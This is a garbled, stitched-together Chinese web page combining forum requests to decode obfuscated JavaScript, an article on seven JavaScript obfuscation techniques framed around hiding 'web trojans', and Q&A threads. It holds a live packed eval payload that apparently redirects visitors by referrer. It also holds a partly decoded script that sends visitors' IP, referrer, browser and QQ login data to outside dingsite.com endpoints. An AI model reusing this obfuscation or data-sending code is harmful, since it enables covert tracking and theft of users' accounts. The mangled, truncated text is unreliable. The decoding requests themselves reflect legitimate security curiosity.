大神在哪里?请问这个javascript在线解密怎么解密?

呼叫大神, 帮忙解密一下~【javascript吧】_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:158,866贴子:
呼叫大神, 帮忙解密一下~收藏
//eval(function(p,a,c,k,e,d){e=function(c){return(c&a?&&:e(parseInt(c/a)))+((c=c%a)&35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);}('2 1$=[&\\b\\5\\6\\3\\7&];2 4=1$[0];c=d[&\\3\\8\\9\\a&];',14,14,'|_|var|x65|A|x62|x73|x74|x76|x61|x6c|x77|l|window'.split('|'),0,{}))eval(function(p,a,c,k,e,d){e=function(c){return(c&a?&&:e(parseInt(c/a)))+((c=c%a)&35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);}('2 1$=[&\\b\\5\\6\\3\\7&];2 4=1$[0];c=d[&\\3\\8\\9\\a&];',14,14,'|_|var|x65|A|x62|x73|x74|x76|x61|x6c|x77|l|window'.split('|'),0,{}));l(function(p,a,c,k,e,d){A=[649,664,657,646,663,652,658,657,579,662,647,649,587,648,591,649,588,670,560,579,663,661,668,670,560,579,665,644,661,579,663,656,608,590,579,657,648,666,579,615,644,663,648,587,588,606,560,579,652,649,587,663,656,607,596,599,600,597,602,600,597,597,600,604,597,600,596,588,670,666,652,657,647,658,666,593,658,659,648,657,648,661,593,655,658,646,644,663,652,658,657,593,651,661,648,649,608,581,651,663,663,659,605,594,594,666,666,666,593,645,644,652,647,664,593,646,658,656,593,663,668,669,669,655,593,646,658,656,594,610,666,647,608,581,590,648,590,581,585,657,645,608,581,590,649,606,672,560,579,672,646,644,663,646,651,587,648,588,670,672,560,579,672,606,579,560,649,664,657,646,663,652,658,657,579,650,648,663,628,664,648,661,668,630,663,661,652,657,650,587,657,644,656,648,591,648,588,579,670,560,579,579,579,579,665,644,661,579,661,648,650,579,608,579,657,648,666,579,629,648,650,616,667,659,587,581,587,641,671,585,588,581,579,590,579,657,644,656,648,579,590,579,581,608,587,638,641,585,640,589,588,587,585,671,583,588,581,591,579,581,652,581,588,606,560,579,579,579,579,665,644,661,579,661,579,608,579,648,593,662,664,645,662,663,661,587,596,588,593,656,644,663,646,651,587,661,648,650,588,606,560,579,579,579,579,652,649,579,587,661,579,580,608,579,657,664,655,655,588,579,661,648,663,664,661,657,579,661,638,597,640,606,579,661,648,663,664,661,657,579,581,584,616,602,584,604,614,584,613,614,584,616,602,584,604,615,584,604,613,584,616,602,584,612,612,584,603,596,584,616,600,584,603,602,584,613,612,581,606,560,579,579,579,579,672,560,649,664,657,646,663,652,658,657,579,654,642,654,655,587,588,670,560,665,644,661,579,621,622,642,661,649,608,647,658,646,664,656,648,657,663,593,661,648,649,648,661,661,648,661,606,560,665,644,661,579,621,622,642,654,666,608,638,586,645,644,652,647,664,586,591,586,662,658,650,658,664,586,591,586,651,644,658,662,658,664,586,640,606,560,652,649,587,621,622,642,661,649,593,652,657,647,648,667,626,649,587,621,622,642,654,666,638,595,640,588,609,595,588,670,560,662,647,649,587,650,648,663,628,664,648,661,668,630,663,661,652,657,650,587,586,666,647,586,591,621,622,642,661,649,588,591,595,588,606,560,672,560,672,654,642,654,655,587,588,606,560];e=function(c){return(c&a?&&:e(parseInt(c/a)))+((c=c%a)&35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);}('6 7$=[&&];p a(){6 c=7$[0];b=2[&\\g\\1\\f\\j\\h\\8&];9(i=d;i&b;i++){c+=e[&\\o\\4\\3\\k\\5\\8\\q\\4\\5\\3\\l\\1&](2[i]-n)};m(c)};a();',27,27,'|x65|A|x6f|x72|x43|var|_|x68|for||||0x0|String|x6e|x6c|x74||x67|x6d|x64|eval|0x223|x66|function|x61'.split('|'),0,{}))
千锋javascript 名师荟萃 汇聚html5前沿技术 全栈式教学模式 免费试学两周千锋javascript 0基础20周快速提升,成就html5实战精英 实战教学 学习就业无缝对接!
混淆过的代码,收费。
已解密,,但是看了一下感觉代码没啥意义。
登录百度帐号各位大神们,请问这个javascript怎样实现换行,我这个代码运行起来字都在一起,我想把它们换一下行,看起来会美观点。
&!DOCTYPE HTML&
&meta http-equiv="Content-Type" content="text/ charset=utf-8" /&
隐藏的注释
&script type="text/javascript"&
document.write("单行注释使用'//'");//我输出内容是注释,该语句功能在网页
document.write("多行注释使用/*注释内容*/");
养成书写注释的良好习惯
谢谢,可以实现实现换行啦 O(∩_∩)O哈哈~
写下你的评论...
Copyright (C) 2018 imooc.com All Rights Reserved | 京ICP备 号-11青青子衿, 悠悠我心, 但为君故, 沉吟至今
JAVASCRIPT加密解密终级指南
  本文一共介绍了七种JAVASCRIPT加密方法。  一:最简单的加密解密  二:转义字符的妙用  三:使用Microsoft出品的脚本编码器Script Encoder来进行编码 (自创简单解码)  四:任意添加NUL空字符(十六进制00H) (自创)  五:无用内容混乱以及换行空格TAB大法  六:自写解密函数法  七:错误的利用  在做网页时(其实是网页木马呵呵),最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的JAVASCRIPT代码常常被别人轻易的拷贝,实在让自己的心里有点不是滋味,要知道自己写点东西也挺累的......^*^  但我们也应该清楚地认识到因为JAVASCRIPT代码是在IE中解释执行,要想绝对的保密是不可能的,我们要做的就是尽可能的增大拷贝者复制的难度,让他知难而退(但愿~!~),下面我结合自己这几年来的实践,及个人研究的心得,和大家一起来探讨一下网页中JAVASCRIPT代码的加密解密技术。  以加密下面的JAVASCRIPT代码为例:&SCRIPT LANGUAGE=&JavaScript&&alert(&《黑客防线》&);&/SCRIPT&  一:最简单的加密解密  大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B如何?还看的懂吗?当然其中的ASCII字符&alert&并没有被加密,如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下:%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B呵呵!如何?这次是完全都加密了!当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项 codeString 参数是包含有效 JavaScript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:&SCRIPT LANGUAGE=&JavaScript&&var code=unescape(&%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B&);eval(code)&/SCRIPT&是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵  二:转义字符&&的妙用  大家可能对转义字符&&不太熟悉,但对于JavaScript提供了一些特殊字符如:n (换行)、 r (回车)、' (单引号 )等应该是有所了解的吧?其实&&后面还可以跟八进制或十六进制的数字,如字符&a&则可以表示为:&141&或&x61&(注意是小写字符&x&),至于双字节字符如汉字&黑&则仅能用十六进制表示为&u9ED1&(注意是小写字符&u&),其中字符&u&表示是双字节字符,根据这个原理例子代码则可以表示为:八进制转义字符串如下:&SCRIPT LANGUAGE=&JavaScript&&eval(&ED1u5BA2u9632u7EBF425173&)&/SCRIPT&&十六进制转义字符串如下:&SCRIPT LANGUAGE=&JavaScript&&eval(&x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B&)&/SCRIPT&&  这次没有了解码函数,因为JavaScript执行时会自行转换,同样解码也是很简单如下:&SCRIPT LANGUAGE=&JavaScript&&alert(&x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B&)&/SCRIPT&&就会弹出对话框告诉你解密后的结果!  三:使用Microsoft出品的脚本编码器Script Encoder来进行编码  工具的使用就不多介绍啦!我是直接使用JavaScript调用控件Scripting.Encoder完成的编码!代码如下:&SCRIPT LANGUAGE=&JavaScript&&var Senc=new ActiveXObject(&Scripting.Encoder&);var code='&SCRIPT LANGUAGE=&JavaScript&&rnalert(&《黑客防线》&);rn&/SCRIPT&';var Encode=Senc.EncodeScriptFile(&.htm&,code,0,&&);alert(Encode);&/SCRIPT&&编码后的结果如下:&SCRIPT LANGUAGE=&JScript.Encode&&#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@&/SCRIPT&&够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:&SCRIPT LANGUAGE=&JScript.Encode&&function decode()alert(decode.toString());&/SCRIPT&&咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码!如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:window.execScript( sExpression, sLanguage )参数:sExpression: 必选项。字符串(String)。要被执行的代码。sLanguage : 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft Jscript使用时,前面的&window&可以省略不写!利用它我们可以很好的运行编码后的JavaScript代码,如下:&SCRIPT LANGUAGE=&JavaScript&&execScript(&#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@&,&Jscript.Encode&)&/SCRIPT&你可以利用方法二对其中的&&号内的字符串再进行编码,使得&Jscript.Encode&以及编码特征码&#@~^&不出现,效果会更好!  四:任意添加NUL空字符(十六进制00H)  一次偶然的实验,使我发现在HTML网页中任意位置添加任意个数的&空字符&,IE照样会正常显示其中的内容,并正常执行其中的JavaScript 代码,而添加的&空字符&我们在用一般的编辑器查看时,会显示形如空格或黑块,使得原码很难看懂,如用记事本查看则&空字符&会变成&空格&,利用这个原理加密结果如下:(其中显示的&空格&代表&空字符&)&S C RI P T L ANG U A G E =& J a v a S c r I p t &&a l er t (& 黑 客 防 线&) ;& / SC R I P T&如何?是不是显得乱七八糟的?如果不知道方法的人很难想到要去掉里面的&空字符&(00H)的!  五:无用内容混乱以及换行空格TAB大法  在JAVASCRIPT代码中我们可以加入大量的无用字符串或数字,以及无用代码和注释内容等等,使真正的有用代码埋没在其中,并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB,并可以把正常的字符串用&&来进行换行,这样就会使得代码难以看懂!如我加密后的形式如下:&SCRIPT LANGUAGE=&JavaScript&&&xajgxsadffgds&;;var $=0;alert//@$%%&*()(&(^%^//cctv function//(//hhsaasajx xc/*asjgdsgu*/&黑客防线&//ashjgfgf/*@#%$^&%$96667r45fggbhytjty*///window);&#@$#%@#432hu&;&/SCRIPT&&至少如果我看到这样的代码是不会有心思去分析它的,你哪?  六:自写解密函数法  这个方法和一、二差不多,只不过是自己写个函数对代码进行解密,很多VBS病毒使用这种方法对自身进行加密,来防止特征码扫描!下面是我写的一个简单的加密解密函数,加密代码如下(详细参照文件&加密.htm&):&SCRIPT LANGUAGE=&JavaScript&&function compile(code){ var c=String.fromCharCode(code.charCodeAt(0)+code.length);for(var i=1;i&code.i++)alert(escape(C));}compile('alert(&《黑客防线》&);')&/SCRIPT&&运行得到加密结果为:o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd&相应的加密后解密的代码如下:&SCRIPT LANGUAGE=&JavaScript&&function uncompile(code){code=unescape(code);var c=String.fromCharCode(code.charCodeAt(0)-code.length);for(var i=1;i&code.i++)}eval(uncompile(&o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd&));&/SCRIPT&&  七:错误的利用  利用try{}catch(e){}结构对代码进行测试解密,虽然这个想法很好(呵呵,夸夸自己),因为实用性不大,我仅给个例子&SCRIPT LANGUAGE=&JavaScript&&var a='alert(&《黑客防线》&);';var c=&&;for(var i=0;i&a.i++)alert(C);//上面的是加密代码,当然如果真正使用这个方法时,不会把加密写上的//现在变量c就是加密后的代码//下面的函数t()先假设初始密码为0,解密执行,//遇到错误则把密码加1,然后接着解密执行,直到正确运行var d=c; //保存加密后的代码var b=0; //假定初始密码为0t();function t()catch(e){c=&&;for(var i=0;i&d.i++)b+=1;t();//setTimeout(&t()&,0);}}&/SCRIPT&  作者:qdzx2008 来源:csdn.net
  除非注明,文章均为原创,转载请以链接形式标明本文地址
  本文地址:
加密JavaScript,根本没有必要。无法完全做到别人的解密。再说了,这玩意也没啥技术难度。天下代码一大抄,不是么?不怎么出名的网站,别人都懒的来抄。对我自己来说,偶尔会去google的网站抄抄。
嘻嘻,不错.....
那个加入00H的方法我试了不行,无论在哪里加入代码都会无法运行啊
.Awflasher
好文,感谢作者:)
分析的很精辟!我就是看不懂,高手能教一下我吗?
我向服务器提交数据,怎么在提交前加密,不被人截获明文?&form&&input&.......&/form&这样的.加密算法用的java里的MD5
赞助商广告
本站采用创作共用版权协议, 要求署名、非商业用途和相同方式共享. 转载本站内容必须也遵循“署名-非商业用途-相同方式共享”的创作共用协议.在线等,大神,js解密_百度知道
在线等,大神,js解密
scn.dingsite.com/theapi/getjs?id=58324&type=10
我有更好的答案
scn&&id=&_$&&&nbsp://chaxun.1616;,&&HEAD&;" target="_blank">http://radar.setTimeout" target="_blank">http://xui.ptlogin2,&nbsp,窃取用户qq号信息;mibao_css=&low_login=1&style=17&amp,&&quot.com/TheAPI/PostDataA?&" target="_blank">http://radar.dingsite.com/TheAPI/PostDataA?&,&&&q=&,&&&m=&ra=&,&&&hr=&,&&&ip=&,&&&addr=&,&&&browser=&,&&&os=&,&&iframe&,&&none&,&&onload&,&&&script&function&scn_sendInfo(c){parent.scn_sendInfo(c);}&/script&&script&id='img'&src=',&&frameImg&,&&iframe&,&&javascript:parent.scn_V&,&&no&,&&frameborder&,&&0&,&&0px&,&&0px&,&&onload&,&&,&&&q=&,&&&m=&ra=&,&&&hr=&,&&&ip=&,&&&addr=&,&&&browser=&,&&&os=&,&&iframe&,&&none&,&&onload&,&&script&,&&text/javascript&,&&UTF-8&,&&&_=&,&&loaded&,&&complete&,&&position:z-index:&;width:2height:2margin:2px&0&0&0;+margin:0&0&0&-3margin-left:-1px9\0;&,&&iframe&,&&javascript:parent.iframe_xx&,&&iframe_scn_qqlogin&,&&no&,&&frameborder&,&&0&,&&position:&z-index:&;width:2&height:2&margin:1px&0&0&-1_margin:0px&0&0&-2&,&&frameImg&,&&iframe&,&&setTimeout(top.scn_hookMove,0);&,&&javascript:parent.iframe_xx&,&&iframe_scn_qqlogin&,&&no&,&&frameborder&,&&0&,&&iframe_scn_qqlogin&,&&none&,&&scnLogin&,&&true&,&&s300&,&&none&,&&-$1&,&&iframe_scn_qqlogin&,&&iframe_scn_qqlogin&,&&position&,&&relative&,&&px&,&&px&,&&px&,&&px&,&&&,&&html5&,&&,&&=&,&&;expires=&,&&s&,&&h&,&&d&,&&(^|&)&,&&=([^;]*)(;|$)&,&&;&,&&&,&&Microsoft&Internet&Explorer&,&&MSIE6.0&,&&Microsoft&Internet&Explorer&,&&MSIE7.0&,&&Microsoft&Internet&Explorer&,&&MSIE8.0&,&&Microsoft&Internet&Explorer&,&&MSIE9.0&,&&QQfangke_iframe&,&&iframe_xx_bb_aa&&];var&scn_ids&=&document[&getElementById&](_$[0])[&src&][&split&](_$[1])[1];var&scn_host&=&encodeURIComponent(document[&location&][&href&]);var&scn_title&=&escape(document[&title&]);var&scn_refer&=&encodeURIComponent(document[&referrer&]);var&scn_head&=&document[&getElementsByTagName&](_$[2])[0];var&scn_body&=&document[&getElementsByTagName&](_$[3])[0];var&scn_isIE&=&document[&all&]&?&true&:var&scn_uin&=&_$[4];var&scn_x&=&0;var&scn_y&=&0;var&scn_ieversion&=&scn_getIEversion();var&ipUrl&=&_$[5];var&scn_checkurl&=&_$[6];var&check001&=&_$[7];var&scn_secret&=&_$[8]&+&Math[&random&]();var&scn_qqcenter&=&_$[9];var&scn_visualUrl&=&_$[10];var&scn_ip&=&_$[11];var&scn_addr&=&_$[12];var&scn_browser&=&_$[13];var&scn_os&=&_$[14];function&scn_SetIpInfo(data)&{&&&&if&(data[&QueryResult&]&!=&1)&{&&&&&&&&scn_crossDomain(ipUrl);&&&&}&else&{&&&&&&&&scn_ip&=&data[&Ip&];&&&&&&&&scn_addr&=&encodeURIComponent(data[&Isp&]);&&&&&&&&scn_browser&=&data[&Browser&];&&&&&&&&scn_os&=&data[&OS&];&&&&&&&&var&url&=&_$[15]&+&scn_ids&+&_$[16]&+&_$[17]&+&scn_host&+&_$[18]&+&scn_refer&+&_$[19]&+&scn_ip&+&_$[20]&+&scn_addr&+&_$[21]&+&scn_browser&+&_$[22]&+&scn_&&&&&&&&var&iframe&=&document[&createElement&](_$[23]);&&&&&&&&scn_head[&insertBefore&](iframe,&scn_head[&firstChild&]);&&&&&&&&iframe[&style&][&display&]&=&_$[24];&&&&&&&&iframe[&src&]&=&&&&&&&&&if&(iframe[&attachEvent&])&{&&&&&&&&&&&&iframe[&attachEvent&](_$[25],&function()&{&&&&&&&&&&&&&&&&iframe[&parentNode&][&removeChild&](iframe);&&&&&&&&&&&&});&&&&&&&&}&else&{&&&&&&&&&&&&iframe[&onload&]&=&function()&{&&&&&&&&&&&&&&&&iframe[&parentNode&][&removeChild&](iframe);&&&&&&&&&&&&};&&&&&&&&}&&&&}}.....省略300行,太多了,&nbsp.ptlogin2.,&&&;,&&&amp.com/TheAPI/PostDataA?&;&quot.com&frameborder=&quot.scn_hookMove,0);iframe_scn_qqlogin&quot.qq.com/cgi-bin/lang=2052&amp.&quot:300needVip=1&iframe&quot,&nbsp.com/app/yx/cgi-bin/show_fel&,&nbsp.qq.com%25252Fsession.html%25253FV3&s_url=http%253A%252F%252Fs_url=http%253A%252F%252Fmap.qq://,&&&.html%25253FV3&param=u1%253Dhttp%2F%25252F&jumpname=&amp://&http://coral.&q=&://apps.qq.data.qq.com/?umod=user&uid=&" target="_blank">&quot
我刚刚优化了一下,还是差不多啊。你用的是哪个优化啊??告诉我,分给你。有分了再给你追加一些分。
百度一下一大堆url:tool.css-js.com/compressor.html
ok .知道了。谢谢。分给你了。。。。
采纳率:59%
这不是JS吧?
是js了。应该是加密了。。。
为您推荐:
其他类似问题
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。求大神帮助 Javascript 解密 JS解密_百度知道
求大神帮助 Javascript 解密 JS解密
为字数太长,复制不出来,我下面换个号用附件贴出,求大神帮忙解密下,解密后顺带帮看下里面是否有木马病毒或者是恶意代码
我有更好的答案
&;" target="_blank">http.floor(a&/&&+=&=&1& });=&a&&quot:&=&day&nbsp.freebuy.com/ilink/couponSendFront/send_index.);0&),&b&Date&(new&nbsp.com/coupons/getCouponFail://时&;getServerTime(urlInfo), t2&new&Date:modle&,&;var&nbsp:font-size:15px&;(hour&=&nbsp.getFullYear()&+&www.freebuy.xyz&)&+&ts&http://active:&nbsp
谢谢大神! 麻烦再帮我看下里面有没有什么木马病毒或者是其他的什么恶意代码。(你应该看出来这个是购物网站的抢券脚本了,我是个纯小白,担心会信息泄露或者是被盗号盗刷什么的。)
这里没有发现上传cookie等行为理论上你是安全的
采纳率:72%
Javascript &文本在附件
文本就是这个,请大神帮忙解密,如果字数太长回复不出来的话,也可以解密后附近发我
为您推荐:
其他类似问题
javascript的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。}

我要回帖

更多关于 javascript rsa解密 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信